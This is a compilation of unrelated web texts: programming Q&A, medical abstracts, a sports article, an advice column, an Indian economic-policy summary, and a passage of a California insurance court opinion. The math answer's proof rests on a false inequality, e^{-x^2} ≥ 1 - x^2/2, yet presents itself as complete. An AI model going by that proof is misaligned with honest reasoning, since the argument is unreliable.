Two issues I have come against where I say Select Latitude, Longitude from @Temp it says POINT is not a recognized built-in function name and the other is how can I make sure I update the right record/row where I've selected the latitude and longitude from.
The reason I need to do this is because on our application we are allowing the end user to search by radius.
Any help would be great.
A:
You don't need a temp table @Temp. You can use geography::Point directly on your table Location.Cities.
Something like this.
Update Location.Cities
set Geo = geography::Point(Latitude, Longitude , 4326)
If you want to use geography::STGeomFromText, you can use it like this.
Update Location.Cities
set Geo = geography::STGeomFromText('POINT(' + CONVERT(VARCHAR(30),Longitude ) + ' ' + CONVERT(VARCHAR(30),Latitude) + )',4326)
| 2023-10-11T01:26:51.906118 | https://example.com/article/8389 |
Q:
Border on both tbody and td?
I have a table with a number of tbody's to group rows. I want border on each td to make a grid, but I also want border on the surrounding tbody to show that they are grouped. Is that possible?
http://jsfiddle.net/jyRsy/
A:
td {
border: 1px solid blue;
}
tbody {
border: 2px solid red;
}
A:
It looks like the border property on the tds is simply applied on top of the tbody's one :)
If you add at least 2px, not one - it will work. (http://jsfiddle.net/jyRsy/4/ - in this example - it's 3px.) I have tested this fiddle in all modern browsers. It works everywhere from IE8 on. As for IE7 - I'd not pay attention ;)
| 2024-01-27T01:26:51.906118 | https://example.com/article/5306 |
Tinnitus associated spontaneous otoacoustic emissions. Active outer hair cell movements as common origin?
In the mammalian inner ear, active mechanical processes contribute to cochlear micromechanics. Direct evidence of these are spontaneous otoacoustic emissions (SOAE) which have been registered in the human and animal ear canal. In mammals, outer hair cells (OHC) seem to be the origin of this mechanical energy, because they exhibit motile responses to various stimuli. Here we report on bilateral tinnitus and bilateral SOAE with both acoustical phenomena located in the same frequency range. In a playback of the SOAEs their frequences were identified as the pitch of the tinnitus. An additional criterion favoring a common pathomechanism of SOAEs and tinnitus resulted from masking effects. Tinnitus and SOAEs from both sides were suppressed by the same tone, which indicates that the involved pathways are identical. Therefore we suggest that pathological long-term movements of only a small number of OHCs underlie both phenomena. From the SOAE emission spectra we calculated that not more than 60 OHCs might be involved. | 2023-11-23T01:26:51.906118 | https://example.com/article/1036 |
Q:
Prove $2+2\cos(2\pi\theta) \leq 4\exp(-2\|\theta \|^2)$.
Let $\theta \in \mathbb{R}$, and let $\|\theta\|$ denote the distance to the integer nearest to $\theta$. I want to prove $$2+2\cos(2\pi\theta) \leq 4\exp(-2\|\theta \|^2).$$ From the double angle formula we arrive at the equivalent $$|\cos(\pi \theta) | \leq e^{-\|\theta\|^2},$$ and since both sides are 1-periodic, we need only check that $$0 \leq e^{-\theta^2} - \cos(\pi \theta) \qquad \text{for $\theta \in \left[0,\frac{1}{2}\right]$},$$ and $$0 \leq e^{-(1-\theta)^2} + \cos(\pi \theta) \qquad \text{for $\theta \in \left[\frac{1}{2},1\right]$}.$$ It seems like these aren't as easy as "take the derivative a few times." Any suggestions?
A:
In fact, because both sides of $|\cos\pi\theta|\le e^{-\Vert\theta\Vert^2}$ are symmetric around $\frac12$ ($f(\theta)=f(1-\theta)$), we only need to check $0\le e^{-\theta^2}-\cos\pi\theta$ for $\theta\in[0,1/2]$. This can be rewritten as
$$e^{-\theta^2}\ge\cos\pi\theta\tag1$$
The idea of the proof of $(1)$ is to find two polynomials $p(x),q(x)$ with $\cos\pi x\le q(x)\le p(x)\le e^{-x^2}$ with $x\in[0,1/2]$ and then prove $q(x)\le p(x)$ over the same range of $x$. These polynomials are truncations of the Maclaurin series of the two sides of $(1)$, to $x^2$ for the LHS and to $x^4$ for the RHS, so we have
$$e^{-x^2}\ge 1-\frac{x^2}2\ge1-\frac{(\pi x)^2}2+\frac{(\pi x)^4}{24}\ge\cos\pi x$$
$$-\frac{x^2}2\ge-\frac{(\pi x)^2}2+\frac{(\pi x)^4}{24}$$
$$-\frac12\ge-\frac{\pi^2}2+\frac{\pi^4x^2}{24}$$
$$\frac{\pi^2-1}2\cdot\frac{24}{\pi^4}\ge x^2$$
$$x\le\sqrt{\frac{\pi^2-1}2\cdot\frac{24}{\pi^4}}=1.045\dots$$
Since this contains $[0,1/2]$, $q(x)\le p(x)$ over the range in question and $(1)$ is proved.
| 2023-10-13T01:26:51.906118 | https://example.com/article/6877 |
The Super Bowl may go through New England and Seattle.
The Pro Bowl goes through Dove Valley.
No team has more Pro Bowl selections than the Broncos. The NFL announced Tuesday that nine Broncos have made the Pro Bowl team, including cornerback Chris Harris for the first time and Peyton Manning for a 14th, extending his record for quarterbacks.
Harris is one of five defensive Broncos to be honored, joining fellow cornerback Aqib Talib, strong safety T.J. Ward, defensive end DeMarcus Ware and strongside linebacker Von Miller.
Manning, receiver Demaryius Thomas, tight end Julius Thomas and left tackle Ryan Clady are the four offensive players who were named.
Nine Pro Bowlers speak to how far John Elway has brought the Broncos since he took charge of the team’s football operations in 2011. The question going forward is: Can they all become Super Bowlers?
The Broncos have been on such a remarkable run in recent years, it’s difficult to believe that as recently as 2010, the team was 4-12 and had just two Pro Bowlers — cornerback Champ Bailey and receiver Brandon Lloyd.
The talent level has since soared dramatically. Elway has acquired seven of the Broncos’ nine Pro Bowlers since 2011. Clady and Demaryius Thomas were the only Pro Bowlers Elway inherited.
It’s the team’s largest Pro Bowl group since 1998 when Elway in his final year at quarterback was one of 10 Broncos honored.
Besides the nine Broncos who made the Pro Bowl team, receiver Emmanuel Sanders was selected a second alternate and running back C.J. Anderson was a sixth alternate — even though he has only played more than a handful of snaps in just seven games.
This season’s Pro Bowl will be played Jan. 25 at the University of Phoenix in Glendale, Ari. — the same place where Super Bowl XLIX will be played a week later.
PHOTOS: Nine Broncos make 2014 NFL Pro Bowl roster
For the nine honored Broncos, the idea is to bring along a Super Bowl excuse with them to Arizona so they don’t play in the Pro Bowl.
Even with an NFL-most nine Pro Bowlers, the Broncos still had two glaring snubs in Sanders and defensive tackle Terrance “Pot Roast” Knighton.
Sanders is fifth in the league with 95 catches, sixth with 1,331 receiving yards and tied for 16th with nine touchdowns.
The last time a receiver with at least 95 catches, 1,300 yards and nine touchdowns didn’t make the Pro Bowl was 1995 when Isaac Bruce, Brett Perriman and Robert Brooks were snubbed.
Knighton is considered the most dominant run-stuffer on a Denver defense that ranks No. 2 against the run.
Also not honored were Louis Vasquez, who was switched to right tackle after he was both a Pro Bowler and all-pro at right guard last season, and weakside linebacker Brandon Marshall, who leads the team in tackles.
Mike Klis: mklis@denverpost.com; Twitter: @mikeklis
The Broncos’ Pro Bowl 9
A look at the nine Broncos selected to the Pro Bowl team:
Player, Position ……………… Pro Bowl appearances
1.Peyton Manning, QB …….. 14
Leads the league with 39 touchdown passes.
2.Ryan Clady, LT ……………… 4
Returned from Lisfranc fracture that forced him to miss all but 2 games last season.
3.Demaryius Thomas, WR …. 3
Career-best 103 catches and 1,504 yards with 11 TDs.
4.Julius Thomas, TE ………….. 2
Set NFL-record with 12 touchdown receptions through 9 games.
5.DeMarcus Ware, DE ………. 8
Has at least 10.0 sacks for the eight time in nine years.
6.Von Miller, OLB …………… 3
Bounced back from difficult 2013 season to post 13.0 sacks.
7.Aqib Talib, CB ………………. 2
First-year Bronco has two pick-sixes this season and six in his career.
8.T.J. Ward, SS …………………. 2
Has two sacks and two interceptions along with 74 tackles.
9.Chris Harris, CB ……………… 1
Has the highest overall grade (26.0) among all NFL cornerbacks as rated by Pro Football Focus. Next is Indy’s Vontae Davis (18.3), Darrelle Revis (17.2) and Richard Sherman (17.0). | 2024-07-13T01:26:51.906118 | https://example.com/article/1538 |
Anglican schools in Queensland
There are twenty-four Anglican schools in Queensland with student enrolments exceeding 22,000.
Anglican schools provide a range of educational alternatives for families by way of both single sex and co-educational environments as well as both day and boarding options. Anglican schools are located throughout Queensland in both regional and metropolitan locations and cater for both Preparatory (Primary) and Secondary School.
Churchie is a Diocesan owned school which is established under what is known as the School's Regulation Canon. As such, the governing body is Diocesan Council. It is from this relationship that the school takes its corporate status.
The members of Diocesan Council are:
The Most Reverend Dr P J Aspinall (Archbishop of Brisbane)
The Right Reverend J Greaves (Assistant Bishop for the Northern Region)
The Right Reverend C Venables (Bishop for the Western Region)
The Right Reverend J Roundhill (Bishop for the Southern Region)
The Reverend Canon G F Harch
The Reverend G Hoyte
The Reverend A M Lowe
The Reverend J C Worrall
The Reverend G Moses
Dr R S Kerr OAM
The Honourable Justice D Mullins (Chancellor)
Mr D Sneesby
Dr G Dashwood
Mr D O'Connor
Mrs J Dyke
Diocesan Council delegates certain governance functions to the School Council via the school’s Constitution.
In circumstances where the directors of the governing body must be provided with a report about sexual abuse or likely sexual abuse the Diocesan Council has, pursuant to Section 366B of the Education (General Provisions) Act, delegated that role to Mr Greg Milles, the Director of Professional Standards within the Diocese. | 2023-09-24T01:26:51.906118 | https://example.com/article/9800 |
Getting Past the Guilt of Infidelity
Two years ago, I had a very brief affair with an old boyfriend from high school. We found each other on Facebook and since we both still live in the same city, we began meeting for coffee, then drinks, then sex. I am married but he is single. Anyway, my husband found out about it when he got suspicious and looked at my phone where I had some texts that pretty much gave it away. Honestly, the affair was 99% sex and I didn’t love the guy. I’m not even sure I really liked him, but my marriage was in a rut and the timing was perfectly terrible.
My husband was very hurt and angry, obviously, but we decided to go to marriage counseling and see if we could get past the fact I cheated. We have two kids and a generally happy life which seemed worth saving. After almost a year of counseling, my husband announced he had forgiven me and wanted to move on with the marriage.
Since then, he hasn’t said anything about my affair, even when we get in a fight. He is really loving and warm which he hadn’t been in the past. We stopped seeing the marriage counselor a year ago and for all intents and purposes, the marriage is intact and working. My problem is this: while my husband seems to have moved on, I can’t.
Robin, I am filled with guilt about what I did. I think about it all the time and I hate myself for it. I don’t understand why my husband doesn’t hate me too. I’m also paranoid about my husband cheating. I can’t help thinking that some day, he is going to want to get revenge on me for what I did by doing the same thing himself.
How do I get over this guilt and move on? I love my husband very much and our family means everything to me, but I am having trouble imagining feeling like this forever.
-Guilty
Dear Guilty:
Fucking Facebook. I swear to Xenu, Facebook is fast becoming the Number 1 marriage destroyer in history. It’s so easy to reach out and connect with people, either strangers or old flames, and create an entire relationship based on idealized memories, instant gratification via messaging and “pokes” (ouch!) and heavy flirtation that can seem harmless at first, but which often morphs into something far more serious. What is it about the computer or smart phone that makes us communicate things we would never say face-to-face?
I really can’t be too flip with this subject, and I thank you for your letter. I am very happy for you and your family that your husband was willing to work on the marriage and move past the infidelity. He sounds like quite a guy, so if you really still love him, you need to make this work. In order to do that, you need to forgive yourself. Easier said than done.
Forgiveness is a gift your husband gave to you, but it was hisforgiveness, which is only half of the equation. In order for your marriage to survive, you have to find a way to absolve yourself for your past behavior so that you, like your husband, can also move beyond what happened and focus on the present state of your relationship with your husband instead of the past. The million dollar question is: how do you do that?
Renowned theologian Lewis Smedes wrote extensively about forgiveness, and a wonderful quote from him on this subject is especially fitting in your case: “It takes one person to forgive, it takes two to be reunited.” He also noted that “to forgive is to set a prisoner free and discover that the prisoner was you.” Your husband has already figured that out. Now it’s your turn.
I think that in order for you to begin the process of forgiving yourself and shedding your guilt-ridden baggage, you need to understand why you did what you did in the first place and figure out what that means. You said your marriage was “in a rut” which is not unusual, but you also noted that your husband’s demeanor towards you has changed to be more loving and affectionate. Perhaps you sought out the extra-marital relationship because you weren’t getting what you needed from your spouse. The good news is: he’s changed. The bad news is: it may not last, so you need to either be OK with that or impress upon your husband how important this aspect of your relationship is to you.
Experts say that a large majority of the time, cheating motivations differ by gender, with men searching for more sex or attention and women looking to fill an emotional void. Please see earlier blog regarding this issue:
Your job now is to figure out what the void was and address how you will deal with things should the problem reappear in your marriage. That may be something you work on with a professional counselor, either with your husband or on your own, but I strongly advise you to examine your motivations and deal with them directly instead of simply ruminating on your guilt over your bad behavior.
You may discover that you cheated because of reasons entirely unrelated to your marriage. For example, some men and women are more prone to infidelity when they are deeply unhappy in their job or profession. If that’s the case, saving the marriage and moving past the pain of cheating may involve a career paradigm shift, which can of course cause all sorts of new problems. Sorry, life is tough.
You also worry that your husband may cheat on you. That reminds me of a really great George Bernard Shaw quote: “Beware of the man who does not return your blow: he neither forgives you nor allows you to forgive yourself.”
With all due respect to GBS, I’m not on board with this sentiment, but if you can relate to this quote I think it explains why you are worried about your husband remaining faithful to you. After all, an eye for an eye and all that nonsense, right? I have two thoughts here:
1. Your husband sounds like a great guy – I think you may be projecting your fears that you may cheat again onto your husband, which would be a good thing to examine with a counselor;
AND
2. Your fears may be well-founded based upon information you didn’t include in your letter, in which case I suggest you speak with your husband about what’s going on. I also suggest you brace yourself for the possibility that at some point in your marriage, you may be on the other end of the heartbreak of adultery and think about how you would handle it. Could you be as forgiving as your husband?
In summary, I suggest you continue with your counseling and figure out why you went outside your marriage with someone who you didn’t even like very well. I think once you get to the bottom of that, you will be better equipped to find a path to your own forgiveness.
Dear Readers: today, I'd like to talk garbage. Here in the People's Republic of Portland,…
This Post Has 4 Comments
echinacheaOctober 1, 2013 at 7:17 pm
Brilliant!
John DesCampOctober 1, 2013 at 10:05 pm
What a hard subject. You have great insight and compassion. Imagine, if you will, a snarky Buddha……… But I digress. This is your best (not your funniest, but your best) piece yet.
The HedgehogOctober 2, 2013 at 6:00 am
I echo John’s thoughts. Not your most funny bit of advice, but your most heartfelt and best response yet. Keep up the hard work. With a few more article like this, you’ll be making a big difference for a lot of people. | 2023-08-14T01:26:51.906118 | https://example.com/article/4708 |
Q:
Python not starting: IDLE's subprocess didn't make connection
When I try to open Python it gives me an error saying:
IDLE's subprocess didn't make connection. See the 'startup failure' section of the IDLE doc online
I am not sure how to get it to start. I am on the most recent version of windows, and on the most recent version of python.
A:
It looks as though someone else had your problem. See if this helps..
Python error - IDLE's subprocess didn't make connection. Either IDLE can't start or personal firewall software is blocking connection
If the link doesn't help, give us some more information. For example: Is this a new installation or was Python working on your system before the problem showed up? Have you tried uninstalling and then reinstalling Python? What are the particulars of your system? (OS, Python version, Python editor?) Are you trying to install Python on its own, or as part of a package?
| 2024-01-09T01:26:51.906118 | https://example.com/article/6710 |
RCC Patients May Benefit from Nivolumab After Disease Progression
Some patients who have advanced renal cell carcinoma (RCC) and experience disease progression while on nivolumab therapy may continue to benefit from the drug beyond progression, according to a study.
Investigators found that 13% of patients who remained on nivolumab therapy after progression experienced a 30% or greater reduction in tumor burden. The study also demonstrated that continued therapy with nivolumab has an acceptable safety profile.
Bernard Escudier, MD, of Gustave Roussy in Villejuif, France, and colleagues studied a subset of patients in the CheckMate 025 trial. Patients continuing to tolerate therapy and exhibiting investigator-assessed clinical benefit were eligible to be treated beyond RECIST [Response Evaluation Criteria in Solid Tumors] progression (TBP) and received therapy for at least 4 weeks after first progression. Patients received nivolumab 3 mg/kg intravenously every 2 weeks.
Compared with the NTBP group, the TBP group had better Karnofsky performance status, less deterioration in Karnofsky performance status, shorter time to response, lower incidence of new bone lesions, and improved quality of life.
Of 406 nivolumab-treated patients, 316 (78%) progressed by RECIST criteria. Of those who progressed, 153 (48%) were TBP and 163 (52%) were not treated beyond progression (NTBP). Before being TBP, the objective response rate was 20% and 14% in TBP and NTBP patients, respectively. After first progression, the median duration of nivolumab was 3.4 months. Of patients TBP, 48% (74/153) had any tumor burden reduction and 13% (20/153) had a 30% or greater tumor burden reduction after first progression, the researchers reported online ahead of print in European Urology.
From 4 weeks post-progression, median overall survival (OS) was longer in the TBP than the NTBP group (20.4 vs 12.2 months). Median OS from randomization also was longer in the TBP group (28.1 vs 15.3 months).
The incidence of treatment-related adverse events in TBP patients was lower after compared with before progression (59% vs 71%).
Of the 153 patients TBP, 31 experienced a complete or partial response, 51 had stable disease, and 70 had progressive disease as best overall response from randomization to first progression. One patient did not have an on-study assessment. | 2024-01-06T01:26:51.906118 | https://example.com/article/9803 |
[A pathogenetic approach to the surgical treatment of large postoperative hernias].
Intractable intraoperative retraction of the abdominal musculature, associated with large postoperative hernias, give rise to reduced abdominal cavity volume, increase of intra-abdominal pressure and pulling along the suture line. These are factors considered as preconditions of the development of postoperative complications and recurrences. Experience with intraoperative facilitation by the application of relief incisions on the aponeurosis of the external oblique abdominal muscles according to Borodin et al during restoration of the abdominal wall continuity at the site of defect is shared. The procedure described is used in the operative management of ten patients presenting large postoperative hernias following superior median laparotomy, in two of them recurrent, one female patient following Rio Branco's operative access, and two cases with recurrent hernia after appendectomy. A complication--operative wound hematoma--is recorded in a single female patient only. The uneventful postoperative course, and the absence of recurrences over periods ranging from several months to two years, are good reasons to discuss the experience so far accumulated, and recommend the method for the practice. | 2024-06-28T01:26:51.906118 | https://example.com/article/2549 |
Ischaemic cardiac pain.
The pain of myocardial ischaemia usually is typical although it can defy diagnosis in some patients despite the most sophisticated investigations. Diagnosis depends on the careful taking of a history with due consideration to the patient's sex, age and family history. The presumptive diagnosis could be supported by a range of investigations but some are invasive and potentially dangerous. | 2024-01-30T01:26:51.906118 | https://example.com/article/8765 |
A pre-Christmas Fine Food * Auction* that took place in Paris offered to the fastidious more than a 100 lots for sale. Gourmets, restaurant owners and connoisseurs of fine food from many countries in the world came together to fight for purchasing exclusive foods that can’t be found in the next shop.
Among the lots of the auction were super tender beef that was kept in a cool storeroom for three months to come to, tea of Tibetan monks, balsamic vinegar that has been mellowing in oak barrels since 1947, black * truffles* , * eggs* consisting almost wholly from yolk, a rare variety of coffee, citrus fruits that can be eaten with their skin, as well as many other marvelous and unique goodies. | 2024-05-20T01:26:51.906118 | https://example.com/article/2660 |
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A blueprint to revive the economy
Context: Roughly 400 million workers in India who are dependent on daily wages for their survival have lost their source of livelihood because we are under a lockdown and economic activity has stopped.
Demand, supply challenges
PDS: The Central government has already announced distribution of free food, but reports suggest that there is either lack of food supplies at the local ration shop or identity requirements of ration cards are proving to be a roadblock.
Availability of labour: The new guidelines permit agricultural activity during the rabi harvest season. However, the constraint for all these commercial and agricultural activities will be the availability of labour for which re-opening of travel and transport is crucial. But it is also the riskiest.
Economic activity requires labour and capital, which are significantly diminished due to the lockdown.
Access to capital, especially working capital: A majority of the small and medium enterprises (SMEs) would have run out of cash and lost significant revenues. No bank is likely to lend to them.
Way forward
Direct Cash Transfer: The bottom half of all households (13 crore out of 26 crore families) must be given ₹5,000 per family in their bank account within a week. This will cost a maximum of ₹65,000 crore.
The government must universalise food distribution immediately, to remove identity requirements, and work with State governments to rush supplies to every ration shop so that every family gets free grain.
Opening MGNREGA sites: The April 15 guidelines allow MGNREGA work, which was stopped due to the lockdown, to be restarted while observing social distancing norms.
District collectors should be given the freedom to start and expand works under MGNREGA.
If work cannot be given for some reason, 10 days’ wages every month should be paid to the registered MGNREGA workers in the panchayat/block until the scheme is resumed.
For the formal sector, we can take a leaf out of the U.S.’s Paycheque Protection Program.
The 2017-18 Economic Survey estimated, using the Employees’ Provident Fund Organisation (EPFO) data set, that there are 40 million employees earning less than ₹15,000 per month who are employed in firms registered under the Goods and Services Tax (GST).
The government could ‘protect their pay cheques’ by funding their employers to pay them for one or two months. This can be implemented using data from the EPFO and GST databases.
Re-opening the economy gradually: Starting May 4, the new guidelines must be expanded to permit all economic activity (with a few exceptions) in non-hotspot areas.
The Central and State governments must work in tandem to identify hotspots, preferably at the level of the block/mandal and not just at the district level. This can be done with the help of public health experts and epidemiologists through strategic testing.
Mass rapid transit as well as private transport must be gradually opened in non-hotspot areas. It is necessary to open up rail and bus transport with adequate precautions such as temperature checks and social distancing norms inside buses and trains.
External trade: India must do whatever it takes through export incentives and strategic use of foreign exchange reserves to capitalise on the export opportunity arising out of this crisis and stimulate exports dramatically over the next few years.
Funding the revival
The government must step in to provide credit guarantees that can incentivise banks to SMEs.
Fiscal stimulus measures on the demand and supply side must be supplemented by monetary stimulus from the RBI with re-designed measures such as moratorium, loan forgiveness, regulatory forbearance, revised NPA regulations and easing the cycle of credit flow.
The Reserve Bank of India (RBI) has already instructed banks to issue a moratorium on loan obligations for three months. If needed, this can be extended by another three months.
The RBI, and through it the banks, should be encouraged to make capital available liberally to sectors such as tourism and manufacturing, which need specific interventions.
Finding the money
It is our estimate that the total fiscal package will cost ₹5-6 lakh crore. That amount is available. The Centre and the States have a total expenditure budget of over ₹70 lakh crore for 2020-21.
In a crisis, much of the capital expenditure may not be possible at all, and even if it is, must be deferred to the next fiscal year.
Besides, more savings can be identified by axing wasteful expenditure.
Further, the Centre can borrow money during times like this without crowding out private investment or pushing up interest rates.
As a final resort, the government can monetise part of additional deficit, otherwise known as ‘printing money’.
Monetising deficit refers to the exercise of RBI purchasing government bonds directly in the primary market and financing this debt by printing more money.
Archaeologists using LIDAR Technology amidst Lockdown
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Close to 28% of Sunderbans damaged by Cyclone Amphan
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Jatin Verma's IAS Academy
Jatin Verma's IAS Academy is an online platform to assist students in pursuing their dream of becoming a civil servant. We are dedicated to acquaint aspirants to the contemporary pattern of UPSC CSE and provide them with personalised mentorship as well as knowledge base enrichment. | 2024-02-23T01:26:51.906118 | https://example.com/article/8883 |
275 Cal.App.2d 839 (1969)
MID-CENTURY INSURANCE CO., Plaintiff, Cross-complainant and Appellant,
v.
VALENTINE HERNANDEZ et al., Defendants, Cross-defendants and Respondents; GALBRAITH'S CYCLE FUN, INC., Defendant, Cross-defendant and Appellant; TRAVELERS INDEMNITY CO., Defendant, Cross-complainant and Respondent; STUYVESANT INSURANCE CO., Cross-complainant and Appellant.
Civ. No. 32744.
California Court of Appeals. Second Dist., Div. Four.
Aug. 26, 1969.
Archbald, Zelezny & Spray, Joseph L. Spray and Edward L. Lascher for Plaintiff, Cross-complainant and Appellant.
Buck, Burrows & Smith and Peter Burrows for Defendant, Cross-defendant and Appellant, and for Cross-complainant and Appellant.
Eckert & O'Gorman and Charles V. Eckert III for Defendants, Cross- defendant and Respondents. *841
Barnes, Benton, Orr, Duval & Buckingham and Edwin Duval for Defendant, Cross-complainant and Respondent.
KINGSLEY, J.
On July 4, 1965, defendant Valentine Hernandez (Valentine), while operating a motorcycle rented to him by Galbraith's Cycle Fun, Inc. (Galbraith's), was involved in a collision with Raul Torres (Torres), in which Torres received physical injuries. Torres brought suit against Valentine, his parents Soledad and Incarnacion Hernandez [fn. 1] (Soledad and Incarnacion), and Galbraith's. [fn. 2] He recovered a judgment against Valentine for $20,000, of which $10,000 was jointly against Valentine and his parents and $10,000 was jointly against Valentine and Galbraith's. [fn. 3]
The present action is one in declaratory relief, primarily between three insurance companies, each of whom had issued a policy that arguably provided coverage to one or more of the judgment debtors. Mid-Century Insurance Company (Mid-Century) had issued an automobile liability insurance policy, with a policy limit of $10,000 for injury to one person, in which Valentine was the named insured, covering a described 1956 Chevrolet automobile owned by him. Travelers Indemnity Company (Travelers) had issued a so-called "Family Automobile Policy," with a policy limit of $10,000 for injury to one person, in which Soledad Hernandez was the named *842 insured, [fn. 4] covering two automobiles owned by him and described therein. Stuyvesant Insurance Company (Stuyvesant) had issued a policy, with a policy limit of $300,000 for bodily injury resulting from any one accident, in which Galbraith's was the named insured, covering it in its business of motorcycle rentals. Each policy contained provisions relating to insurance coverage for persons other than the respective named insureds, relating to nonowned automobiles, and dealing with the extent of coverage and liability in cases of double insurance. We discuss the various clauses of that nature later in this opinion.
The trial court entered a judgment holding that Stuyvesant was primarily liable, with coverage limited to $10,000 on the judgment against Valentine, but with available coverage up to $300,000 on the judgments against Galbraith's and against Soledad and Incarnacion. [fn. 5] Mid-Century was held to have coverage, as excess over Stuyvesant, to the $10,000 limit of its policy. Travelers was held to have coverage, as excess over both Mid-Century and Stuyvesant, to the $10,000 limit of its policy.
Mid-Century and Stuyvesant have appealed; Travelers has not appealed and its brief supports the judgment as entered; Galbraith's, represented by the same counsel as Stuyvesant, joins in that company's appeal and contentions; Torres and the three Hernandez have not appealed. [fn. 6]
It is admitted that, no matter what determination is made as to the various contentions of the three insurance companies, some combination of them will be liable to pay the full $20,000 of Torres' judgment and that the three Hernandez will be protected against that judgment. Although Galbraith's has joined in the appeal taken by its insurance carrier, its $10,000 liability is covered by its policy with Stuyvesant, no matter what other liability that insurance company may have toward the three Hernandez and Torres. [fn. 7] In other *843 words, the present appeal involves only: (1) the question of whether or not Mid-Century has coverage at all; and (2) the amount and order of liability of each company ultimately determined to have provided coverage for the accident.
The case was tried below on the terms of the three policies, with no extrinsic evidence except certain stipulations. As a result, the meaning and effect of those documents are matters for this court to decide, for itself, as matters of law. (Parsons v. Bristol Dev. Co. (1965) 62 Cal.2d 861 [44 Cal.Rptr. 767, 402 P.2d 839].)
Stuyvesant admits that its policy provided coverage to the three Hernandez and to Galbraith's; its contentions here go only to the amount of that coverage and to the order of its liability vis-a-vis the other two companies.
Travelers, which has not appealed, for obvious reasons, is content with its position as third in line for liability.
Mid-Century denies that its policy covered the accident at all; as an alternative it argues that if it had any liability such liability was (as the trial court held) excess over Stuyvesant's and should be prorated with the liability of Travelers.
We shall discuss, first, as to each policy, whether or not it provided coverage for the injuries to Torres and, if so, for whom and in what amount. Thereafter, we shall discuss the order in which each carrier who has coverage as to Valentine should respond. For reasons which we state later, it is not necessary, on this appeal, to determine the order of liability as to the senior Hernandez or as to Galbraith's.
I
[1] We discuss, first, Mid-Century's contention that its policy provided no coverage applicable to the accident herein involved. Its policy, with a limit of liability of $10,000 to any one person, was issued to Valentine and described only a 1956 Chevrolet automobile owned by him. The contention is that the provision of its policy which extended coverage to "non-owned automobiles," by its express terms extended that coverage only to "automobiles," thus excluding "motorcycles" from the protection given. The argument is without merit. The public policy of this state, as expressed in section 11580.1 of the Insurance Code, and sections 16451 and 16452 of the Vehicle Code, as those sections, and their predecessor sections have been construed in Wildman v. Government Emp. *844 Ins. Co. (1957) 48 Cal.2d 31 [307 P.2d 359], and the later cases applying its rule, is as follows: Any owner's motor vehicle liability policy governed by California law must provide coverage for the vehicle therein described no matter who operates it, so long as that operation is within the continental United States and with the consent of the named insured, unless, by an endorsement conforming to subdivision (e) of the Insurance Code section 11580.1, some particular person is expressly excluded. Any operator's policy must provide coverage for the named insured for any nonowned motor vehicle that he operates, whether therein described or not, so long as the operation is within the continental United States. Any attempt by an insurance company to limit its required coverage is void and ineffective.
It is, of course, quite true, as Mid-Century argues (unnecessarily and at length), that a motorcycle is not an automobile. But a motorcycle admittedly is a "motor vehicle" (Veh. Code, 400), and the sections of the Insurance Code and of the Vehicle Code above cited, and the policy expressed in those sections, apply to all "motor vehicles," whether they are automobiles or motorcycles.
This was the conclusion reached over six years ago by Division Two of this court, in Voris v. Pacific Indem. Co. (1963) 213 Cal.App.2d 29 [28 Cal.Rptr. 328]. As Mid-Century correctly points out, Voris' technical holding was merely that an uninsured motorist endorsement, executed after the enactment of section 11580.2 of the Insurance Code providing for such coverage, but prior to the effective date of that statute, should be construed to include a motorcycle within the meaning of the word automobile as used in that endorsement. But the reasoning by which that result was reached was that the draftsman of the endorsement had intended to give a coverage equal to that which the then recently enacted but not then yet effective statute would give to future policyholders, and that the statute, by its use of the term "motor vehicle," had included motorcycles. We see no reason why the term "motor vehicle" in section 11580.2 of the Insurance Code should be read more broadly than the same term in the section immediately preceding or in the companion sections ( 16451 and 16452) of the Vehicle Code. Therefore, we regard the decision in Voris as controlling on this branch of the case at bench. [fn. 8]*845
It follows that the Mid-Century policy provided coverage to Valentine. By its express terms, protection was also extended to "relatives" of the named insured, thus bringing Soledad and Incarnacion within the group of those insured under its policy. [fn. 9]
II
[2] We turn next to the arguments over the Stuyvesant policy.
That policy raises neither the issue involved with Mid-Century nor the one later discussed that is involved with Travelers. As we have said, Galbraith's was the named insured; the policy expressly covered motorcycles; the motorcycle in question was an "owned" vehicle; and, except for the escape clause hereinafter considered, there is no question that Valentine, as a permissive user of Galbraith's owned motorcycle, and Soledad and Incarnacion as endorsers of Valentine's operator's license, were also insureds under the Stuyvesant policy.
As we have said above, the trial court held that company to be primarily liable, but that its coverage amounted to only $10,000 for Valentine, although it amounted to the full policy limit of $300,000 for Galbraith's and for Soledad and Incarnacion. Mid-Century attacks that judgment only insofar as it limited the Stuyvesant coverage for Valentine to $10,000; Stuyvesant attacks the judgment on the ground that, under the terms of an escape clause in its policy and the statute relating to such clauses, it provided no coverage at all for Valentine, or for the senior Hernandez. We disagree with the trial court and with both Mid-Century and with Stuyvesant. *846
Stuyvesant premises its argument on the language of subdivision (f) of section 11580.1 of the Insurance Code and on an escape clause, couched in the following language, and contained in paragraph 7 of Endorsement No. 1 to its policy: "Such insurance as is provided by this policy for the rentee shall not apply to any loss with respect to which the rentee has other valid and collectible coverage. It is further agreed that in any event, the limit of the Company's liability to the rentee shall not exceed the applicable minimum limit of liability specified in the financial responsibility laws of the state in which the vehicle is principally garaged." It is contended that that provision in the policy is valid by reason of the language of subdivision (f) of section 11580.1 of the Insurance Code. As of the dates herein involved, that subdivision read as follows: "... such policies may contain a provision that the insurance coverage applicable to such motor vehicles afforded a person other than the named insured or his agent or employee shall not be applicable if there is any other valid and collectible insurance applicable to the same loss covering such person as a named insured or as an agent or employee of a named insured under a policy with limits at least equal to the financial responsibility requirements specified in Section 16059 of the Vehicle Code; and in such event, the two or more policies shall not be construed as providing cumulative or concurrent coverage and only that policy which covers the liability of such person as a named insured, or as an agent or employee of a named insured, shall apply. In the event there is no such other valid and collectible insurance, the coverage afforded a person other than the named insured, his agent or employee, may be limited to the financial responsibility requirements specified in Section 16059 of the Vehicle Code."
It must be noticed that the policy provision is, in one respect, broader than the statutory provision and, in another respect, narrower than the statute would have permitted.
